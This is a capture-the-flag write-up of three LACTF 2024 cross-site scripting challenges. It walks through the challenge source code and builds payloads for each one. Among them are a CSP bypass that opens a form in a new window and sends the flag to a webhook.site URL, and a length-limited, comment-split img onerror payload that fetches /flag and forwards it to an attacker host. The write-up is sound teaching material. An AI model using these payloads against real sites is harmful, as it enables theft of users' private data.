LACTF 2024

Overview

Since it's the first weekend of the semester I had time to play a bit of LACTF and really dig deep into a few of its challenges. However, it seems I only felt inclined to check out the XSS challenges. XSS challenges are fun though so I hope nobody is complaining :).

Metaverse

The first challenge I approached was metaverse, I solved it early in the CTF but in the end it had many solves so it seems like it was relatively straightforward for your average web player.

Initial Thoughts

Looking through at the challenge description we have three places we can start looking https://metaverse.lac.tf/login is the site, https://admin-bot.lac.tf/metaverse is our admin bot, and we have a file called index.js available for download. If you know much about CTFs the admin bot usually implies XSS. This admin bot will simulate an admin user visiting the link we send them.

Let's look at the code

Okay so we know we need an XSS so let's see where the flag is in the source code.
            accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});
/*
some express code here...
*/
app.post("/friend", needsAuth, (req, res) => {
    res.type("text/plain");
    const username = req.body.username.trim();
    if (!accounts.has(username)) {
        res.status(400).send("Metauser doesn't metaexist");
    } else {
        const user = accounts.get(username);
        if (user.friends.includes(res.locals.user)) {
            res.status(400).send("Already metafriended");
        } else {
            user.friends.push(res.locals.user);
            res.status(200).send("ok");
        }
    }
});
app.get("/friends", needsAuth, (req, res) => {
    res.type("application/json");
    res.send(
        JSON.stringify(
            accounts
                .get(res.locals.user)
                .friends.filter((username) => accounts.has(username))
                .map((username) => ({
                    username,
                    displayName: accounts.get(username).displayName,
                }))
        )
    );
});
        
index.html
            fetch("/friends")
    .then((res) => res.json())
    .then((friends) => {
        const list = document.getElementById("friendlist");
        if (friends.length === 0) {
            const ele = document.createElement("p");
            ele.innerText = "you have none :(";
            list.appendChild(ele);
        }
        for (const f of friends) {
            const ele = document.createElement("p");
            ele.innerText = `${f.displayName} (${f.username})`;
            list.appendChild(ele);
        }
    });
        
So the flag is set as the display name of the admin user. The display name of users is accessed when the client goes to their dashboard and display names are added via the /friends endpoints. So we need an XSS payload that will execute a post request to /friend to become mutual "metafriends" with admin.

Exploit setup

First we can send our meta-friend request to admin. You can either do this through the html or by running some Javascript in the console. Let's go with the latter so we can use it in our XSS payload.
            fetch('/friend',{
    method:'POST',
    headers:{
        "Content-type":'application/x-www-form-urlencoded'
    },
    body:'username=admin'
})
        
A simple fetch request with the appropriate headers and we're good to go. Now we can test this metapost feature to see if XSS is possible through that vector. And looking at the code it seems to be the case. Our user content is directly replacing $CONTENT in the post.html file so it should be directly reflected to the user.
            // templating engines are for losers!
const postTemplate = fs.readFileSync(path.join(__dirname, "post.html"), "utf8");
app.get("/post/:id", (req, res) => {
    if (posts.has(req.params.id)) {
        res.type("text/html").send(postTemplate.replace("$CONTENT", () => posts.get(req.params.id)));
    } else {
        res.status(400).type("text/html").send(postTemplate.replace("$CONTENT", "post not found :("));
    }
});
        

Exploitation

So putting this together we should be able to make a POST request to /friend via our XSS vector. So now we have the final payload and make a metapost with it as our content.
            <script>
fetch('/friend',{
    method:'POST',
    headers:{
        "Content-type":'application/x-www-form-urlencoded'
    },
    body:'username=bruhman420'
})
</script>
        
Finally, send the admin bot the url to our metapost and we should be greeted with the flag once we refresh our dashboard.

Final Thoughts on Metaverse

Overall this was a very nice beginner challenge. I feel like it got people thinking about the code rather than copy pasting generic payloads.

California State Police

As I noted earlier, this was an only XSS ctf for me at least. So let's dive into the appropriately named California State Police challenge.

Initial Thoughts

As the punny name and admin bot suggest this is another XSS challenge! First thing is first, we note that the cookie is HttpOnly meaning we cannot access it using document.cookie. With this we can start to get an idea of what exploitation is possible.

Let's Look at the Code

Let's not get ahead of ourselves though! Before we can think about exploitation we should check out this index.js file.
            app.get("/flag", (req, res) => {
    res.status(400).send("you have to POST the flag this time >:)");
});
app.post("/flag", (req, res) => {
    if (req.cookies.adminpw === adminpw) {
        res.send(flag);
    } else {
        res.status(400).send("no hacking allowed");
    }
});
app.use((req, res, next) => {
    res.set(
        "Content-Security-Policy",
        "default-src 'none'; script-src 'unsafe-inline'"
    );
    next();
});
app.post("/report", (req, res) => {
    res.type("text/plain");
    const crime = req.body.crime;
    if (typeof crime !== "string") {
        res.status(400).send("no crime provided");
        return;
    }
    if (crime.length > 2048) {
        res.status(400).send("our servers aren't good enough to handle that");
        return;
    }
    const id = uuid();
    reports.set(id, crime);
    cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]);
    res.redirect("/report/" + id);
});
app.get("/report/:id", (req, res) => {
    if (reports.has(req.params.id)) {
        res.type("text/html").send(reports.get(req.params.id));
    } else {
        res.type("text/plain").status(400).send("report doesn't exist");
    }
});
        
So our flag is only accessible by admin on the /flag endpoint with the POST method. So we'll need the admin bot to post to /flag then send us the response. How can we achieve this? By submitting a totally valid report of course! Reports are plaintext received from the user and directly sent when navigating to /report/:id. So submit a report that contains an XSS payload that sends the data from /flag back to us. Easy! Or maybe not…

Naive Attempts

Despite that ominous warning let's go ahead with our naive approach. We'll report a crime with the payload
            <script>
fetch('/flag',{method:'POST'});
</script>
        
So it looks like our report executes the javascript but there is something we did not look at carefully in the code. Content Security Policy (CSP) mitigates our ability to execute arbitrary code and requests through XSS. The server response header for Content Security Policy specifies default-src 'none'; script-src 'unsafe-inline'.
What does this mean? We are allowed to use unsafe-inline for script tags so that's why our Javascript is executed. But default-src 'none' means no resources are allowed to load, even ones served directly from the server.

It's Time to Cook

At this point I got stuck for a while, how are we supposed to make a post request if all requests are blocked? But then I realized, we are sending a post request from the browser to upload our report! How does the site do that?
            <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>California State Police</title>
</head>
<body>
    <h1>California State Police</h1>
    <p>Our site has been upgraded to use the latest security features, but for some reason we can't use CSS anymore. It'll probably be fine, no one really cares about styling anyways right?</p>
    <h2>Need to report a crime?</h2>
    <form method="POST" action="/report">
        <textarea name="crime" placeholder="crime details..."></textarea><br>
        <input type="submit" value="Report Crime">
    </form>
</body>
</html>
        
So the report is posted using a form, and if we try something similar with /flag it should work. With HTML and Javascript this is not too difficult with a bit of help from documentation and StackOverflow.
            <form method="post" id="theForm" action="/flag"></form>
<script> 
    document.getElementById('theForm').submit();
</script>
        
Nice the post request worked but we were redirected. That's not good since we want to read the response and send it to ourselves. So I got stuck again for a while and started googling… Until I stumbled upon this post! They provided the following template:
            function openWindow(){
    var form = document.createElement('FORM');
    form.method='POST';
    form.action = 'PageToOpen.html';
    form.target = 'newWindow'; // Specify the name of the window(second parameter to window.open method.)
    var input = document.createElement("INPUT");
    input.id="q";
    input.type="hidden";
    input.value="SOme large content";
    form.appendChild(input);
    document.body.appendChild(form);
    window.open("","newWindow","location=yes,width=400,height=400");
    form.submit();
}
        
So it looks like they are creating a new form that is posting to PageToOpen.html and the output of the form is targeted to the 'newWindow' that is opened. So the form submits and POSTs but it will be in the new window meaning we still have JavaScript execution in our current window. Let's craft a payload that does this then:
            <form method="post" id="theForm" action="/flag" target='bruh'>
    <!-- Form body here -->
</form>
<script> 
    let w = window.open('','bruh');
    document.getElementById('theForm').submit();
    setTimeout(()=>{
        document.location= `https://webhook.site/645c6365-01c7-4535-a172-a9014e389741?c=${w.document.body.innerHTML}`
    },500);
</script>
        
Our payload will open a new window bruh which we store as a variable in our current program. We then submit the form that POSTs to /flag and targets (executes in) bruh. Then we'll setTimeout to give some time for the form to submit and receive the response in the window before we redirect to our attack controlled site with the data we need.
Nice! It worked how we expected but why? According to the MDN Docs window.open will open a blank new tab in our targeted context meaning that as long we are in the same domain we can access its contents through our Javascript. Okay let's send this to admin bot.
And there's the flag!

Final Thoughts on California State Police

Overall this was a really interesting challenge as I never really did much with bypassing stricter CSP but I learned a lot through my research! Also it seems like there were additional solutions since both the GET and POST methods on /flag did not have a Content Security Policy header! The challenge author had their solution here if you want to check it out.

hptla

So the final XSS challenge (and CTF challenge) I worked on was hptla. It had fewer solves but I found the path to exploitation a lot more straight forward than the last challenge.

Initial Thoughts & Code Review

At this point you know the deal, admin bot means (probably) XSS! So let's go straight to source to get an idea of what we need.
            /*
express code above here
*/
app.post("/list", (req, res) => {
    res.type("text/plain");
    const list = req.body.list;
    if (typeof list !== "string") {
        res.status(400).send("no list provided");
        return;
    }
    const parsed = list
        .trim()
        .split("\n")
        .map((x) => x.trim());
    if (parsed.length > 20) {
        res.status(400).send("list must have at most 20 items");
        return;
    }
    if (parsed.some((x) => x.length > 12)) {
        res.status(400).send("list items must not exceed 12 characters");
        return;
    }
    const id = uuid();
    lists.set(id, parsed);
    cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]);
    res.send(id);
});
app.get("/list/:id", (req, res) => {
    res.type("application/json");
    if (lists.has(req.params.id)) {
        res.send(lists.get(req.params.id));
    } else {
        res.status(400).send({error: "list doesn't exist"});
    }
});
app.get("/flag", (req, res) => {
    res.type("text/plain");
    if (req.cookies.adminpw === adminpw) {
        res.send(flag);
    } else {
        res.status(401).send("haha no");
    }
});
/*
express code below here
*/
        
So we need to make a request to /flag on the admin bot and somehow send it to ourselves. The actual XSS is in this /list endpoint where we can post a payload consisting of a maximum of 20 lines with each having a maximum of 12 characters.

Exploit Setup

So let's just send a simple valid payload.
Hm it doesn't work. When we take a look at the HTML we can see it's loaded as the following.
            <ul id="list" class="">
    <li>
        <input type="checkbox" id="item0">
        <label for="item0"><img src="1</label></label>
    </li>
    <li>
        <input type="checkbox" id="item1">
        <label for="item1">onerror=</label>
    </li>
    <li>
        <input type="checkbox" id="item2">
        <label for="item2">print()&gt;</label>
    </li>
</ul>
        
Okay at this point we can see that each value is embedded into a couple HTML attributes so we need a way to ignore the space between these and execute our code anyways. At this point I had the idea to use HTML comments.
            <ul id="list" class="">
    <li><input type="checkbox" id="item0">
        <label for="item0"><img sr<!--<="" label="">
        </label>
    </li>
    <li>
        <input type="checkbox" id="item1">
        <label for="item1">!--&gt;c=1 <!--</label></li>
    <li><input type="checkbox" id="item2"><label for="item2">!-->oner<!--</label></li><li><input type="checkbox" id="item3"><label for="item3">!-->ror=<!--</label></li><li><input type="checkbox" id="item4"><label for="item4">!-->print()&gt;</label>
    </li>
</ul>
        
So this idea didn't work because we cannot insert comments inside html elements. They are not treated as comments but as part of the element so it won't work for our purposes. The next thing I thought of was treating the src attribute like a string so it will consume all the content between and still execute as an error.
            <img src='list stuff' onerror='our code!'>
        
We then can use the same thing for the onerror attribute and combine it with comments to try and achieve code execution. So our payload will look like:
            <img src='
'onerror='/*
*/alert(9)'>
        

Exploitation

Nice, we got code execution so let's follow this same pattern to build a full payload.
            <img src='
'onerror='/*
*/fetch(/*
*/"flag")./*
*/then(r=>/*
*/r.text()/*
*/).then(/*
*/t=>/*
*/window/*
*/.open(/*
*/"http:"+/*
*/"//my"+/*
*/".ip."+/*
*/"lmao"+/*
*/"/"+t))'>
        
Note, we cannot break up Javascript keywords. This is because Javascript comments are parsed as whitespace such that win/**/dow is parsed as win dow which breaks up the keywords and makes them invalid. Either way when we input the payload we'll receive this on the attacker controlled ip.
Okay, that is the response we expect so we can now send it to the admin bot and we'll get our response and flag!

Final Thoughts on hptla

This challenge was pretty interesting and it is pretty practical as I've used some similar techniques on some real world targets (new blog post coming soon???). aplet123 made some fun challenges for this CTF so I'm looking forward to playing again next year. Thanks to the whole team at UCLA ACM Cyber for putting this together :)